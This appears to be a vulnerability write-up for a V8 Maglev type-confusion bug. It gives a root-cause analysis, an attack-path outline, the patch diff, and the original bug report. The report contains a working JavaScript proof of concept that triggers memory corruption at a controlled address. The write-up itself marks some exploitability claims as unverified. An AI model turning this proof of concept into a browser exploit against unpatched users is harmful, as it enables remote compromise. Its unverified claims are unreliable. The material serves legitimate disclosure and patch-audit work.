CVE-2026-5865
Overview
Background
- `CheckSmi`
- A Maglev runtime guard node that verifies a value is a tagged Small Integer (
Smi) and deoptimizes otherwise, so downstream code may treat it as an untagged integer. - `StaticTypeIs(NodeType::kSmi)`
- A compile-time query asking whether the optimizer has statically inferred the value’s
NodeTypeto bekSmi; this is a speculative assumption, not a physically enforced fact. - `elidable`
- A caller-supplied flag telling
BuildCheckSmiwhether the physical check may be safely dropped, distinguishing checks that merely document a known type from checks that must actually guard against unsound speculation. - Type confusion
- A memory-safety defect where a value of one representation (e.g. a
HeapObjectpointer) is interpreted as another (e.g. a taggedSmiinteger), enabling out-of-bounds or arbitrary access.
Root Cause Analysis
Verify before building a PoC
What the commit does not establish: Calling StaticTypeIs a 'speculative belief' is imprecise; it is node-derived. Never identifies which callers pass elidable=false or why the static type can be unsound (likely loop-phi widening/untagging). States pointer-as-Smi misuse and the R/W chain as fact, not shown.
MaglevGraphBuilder::BuildCheckSmi short-circuited and returned the input ValueNode without inserting a CheckSmi whenever object->StaticTypeIs(broker(), NodeType::kSmi) held, regardless of the elidable parameter. Because a static kSmi type is an optimizer assumption rather than a physically enforced property, it can be unsound in contexts where the check exists precisely to validate that speculation. When a caller passed elidable=false, it was signalling that the physical CheckSmi was load-bearing — guarding an operation that would misbehave on a non-Smi input — yet the buggy early return dropped the check anyway. A value that was speculatively typed kSmi but actually a HeapObject/HeapNumber at runtime then flowed unguarded into Smi-assuming code.
The fix conjoins the elidable condition (StaticTypeIs(...) && elidable) so the check is only elided when the caller has explicitly authorized it.
kSmi is a speculative optimizer belief, not a runtime guarantee; eliding a CheckSmi on that basis alone silently discards the very guard that a non-elidable caller relies on to make the speculation sound.Attack Path
- Prime speculation
Craft JavaScript that leads Maglev to statically infer a value’s
NodeTypeaskSmiwhile the value can actually become a non-Smiat runtime. - Reach a non-elidable site
Route that value into an operation whose
BuildCheckSmicall useselidable=false, where the physical check is mandatory for soundness. - Elide the guard
The buggy early return returns the value unchecked because its static type is
kSmi, ignoringelidable=false. - Feed a non-Smi
At runtime supply a
HeapObject/HeapNumber, which now flows into code that untags it as aSmiinteger. - Corrupt memory The pointer-as-integer confusion yields out-of-bounds or arbitrary reads/writes exploitable in the renderer.
Impact Assessment
TypeConfusion in V8’s Maglev tier reachable from untrusted JavaScript, allowing a pointer to be misinterpreted as a tagged Smi and leading to renderer-process memory corruption. Such primitives are typically chainable into information disclosure and arbitrary read/write, forming the basis of a full renderer exploit. Because it triggers during normal optimized execution of attacker-controlled script, no special privileges or user interaction beyond visiting a page are required.Files Changed
src/maglev/maglev-graph-builder.cc
Audit Directions
- Static-type-based check elisionAudit every site that drops a runtime guard (
CheckSmi, map checks, bounds checks) solely because aStaticTypeIs/inferredNodeTypeholds, and confirm a caller-supplied elidability flag also gates it. - Elidable-flag threadingReview callers of
BuildCheckSmiand similar builders to verifyelidable=falseis genuinely honored end-to-end and not overridden by internal short-circuits. - Speculation-vs-guarantee conflationLook across Maglev/Turbofan for places where a speculative optimizer assumption is treated as a physical invariant, especially where the guard node exists to validate that very speculation.
Patch
From 433b2912c5cb94ed0979c8284e96e4d08416b620 Mon Sep 17 00:00:00 2001 From: Darius Mercadier <[email protected]> Date: Thu, 12 Mar 2026 16:59:23 +0100 Subject: [PATCH] [maglev] Avoid eliding Smi checks too aggressively Fixed: 491884710 Change-Id: Iea557349d721a2ef151d3002a853fd3998755411 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7661984 Commit-Queue: Victor Gomes <[email protected]> Auto-Submit: Darius Mercadier <[email protected]> Reviewed-by: Victor Gomes <[email protected]> Cr-Commit-Position: refs/heads/main@{#105781} --- diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc index 5e09658..0b2eed6 100644 --- a/src/maglev/maglev-graph-builder.cc +++ b/src/maglev/maglev-graph-builder.cc @@ -4179,7 +4179,7 @@ ReduceResult MaglevGraphBuilder::BuildCheckSmi( ValueNode* object, bool elidable, AllowWideningSmiToInt32 allow_widening_smi_to_int32) { - if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object; + if (object->StaticTypeIs(broker(), NodeType::kSmi) && elidable) return object; // Check for the empty type first so that we catch the case where // GetType(object) is already empty. if (IsEmptyNodeType(IntersectType(
Original Bug Report
Maglev: incorrect phi untagging can lead to exploitable write barrier omission
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
Maglev: incorrect phi untagging can lead to exploitable write barrier omission
In MaglevRepresentationSelector::EnsurePhiInputsTagged,
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
// Since we are untagging some Phis, it's possible that one of the inputs of
// {phi} is an untagged Phi. However, if this function is called, then we've
// decided that {phi} is going to stay tagged, and thus, all of its inputs
// should be tagged. We'll thus insert tagging operation on the untagged phi
// inputs of {phi}.
const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
ValueNode* input = phi->input(i).node();
if (Phi* phi_input = input->TryCast<Phi>()) {
phi->change_input(i,
EnsurePhiTagged(phi_input, phi->predecessor_at(i),
BasicBlockPosition::End(), nullptr, i));
} else {
// Inputs of Phis that aren't Phi should always be tagged (except for the
// phis untagged by this class, but {phi} isn't one of them).
DCHECK(input->is_tagged());
}
}
}
That call does not pass force_smi. For an Int32 phi, EnsurePhiTagged therefore emits Int32ToNumber[kCanonicalizeSmi].
In MaglevGraphBuilder::TryBuildStoreField,
MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
compiler::AccessMode access_mode, compiler::NameRef name) {
// ...
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
}
// ...
StoreTaggedMode store_mode = access_info.HasTransitionMap()
? StoreTaggedMode::kTransitioning
: StoreTaggedMode::kDefault;
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
store_target, value, field_index.offset(), store_mode, name));
}
// ...
}
considering the following JavaScript code:
function f(a, b, x) {
let y = a ? x + 1 : 1;
let t = y | 0;
let z = b ? y : 1;
obj.x = z;
return obj.x;
}
The first phi y is untagged toInt32 because of y | 0. And EnsurePhiInputsTagged retags it for the outer tagged phi z. If the function is warmed up with Smi, then it will use BuildStoreTaggedFieldNoWriteBarrier for the obj.x = z store. If x is 1073741823, the a ? x + 1 : 1 branch produces 1073741824, which is outside the 31-bit Smi range. Int32ToNumber[kCanonicalizeSmi] therefore creates a HeapNumber, but the Smi-field store still skips the barrier, which creates an untracked pointer to a heap object.
The following POC demonstrates a SIGSEGV in cage + controlled address (set by MARKER) on release build.
const MAX_SMI = 1073741823;
function i2f(high32, low32) {
const buf = new ArrayBuffer(8);
const dv = new DataView(buf);
dv.setUint32(0, low32, true);
dv.setUint32(4, high32, true);
return dv.getFloat64(0, true);
}
function nestedPhiStore(o, a, b, x) {
let y;
if (a) {
y = x + 1;
} else {
y = 1;
}
const t = y | 0;
let z;
if (b) {
z = y;
} else {
z = 1;
}
o.x = z;
return t;
}
// SEGV at MARKER
const MARKER = i2f(0x2578877f, 0x25788785);
const obj = {x: 1};
for (let i = 0; i < 4; i++) {
gc();
}
print("marker =", MARKER);
print("young(obj) before warmup =", %InYoungGeneration(obj));
%PrepareFunctionForOptimization(nestedPhiStore);
for (let i = 0; i < 2000; i++) {
nestedPhiStore(obj, true, true, i & 1023);
nestedPhiStore(obj, false, true, i & 1023);
nestedPhiStore(obj, true, false, i & 1023);
}
%OptimizeMaglevOnNextCall(nestedPhiStore);
nestedPhiStore(obj, true, true, 7);
nestedPhiStore(obj, true, true, MAX_SMI);
for (let round = 0; round < 120; round++) {
const tmp = [];
for (let i = 0; i < 20000; i++) {
tmp.push({i, a: MARKER, b: 2.2, c: 3.3});
}
if ((round % 10) === 9) {
print("completed round", round + 1);
}
}
print("forcing major gc");
gc({ type: "major" });
print("about to read corrupted slot");
print(obj.x + 0.5);
VERSION
Commit: f285826766bdccddf9ccdabb3f47a3552eafebdb (Wed Mar 11 19:54:08 2026)
Bisect: commit 58c40ce533c9a5fc8a21cfae979880c0320862d8 (Mon Jan 19 19:13:44 2026 +0100) introduces the problem.
REPRODUCTION CASE
exp.js is attached. Please run with:
out.gn/x64.release/d8 –allow-natives-syntax –expose-gc –maglev-untagged-phis ./exp.js
args.gn
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: DCHECK failure, SEGV on release
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Project WhatForLunch (@pjwhatforlunch)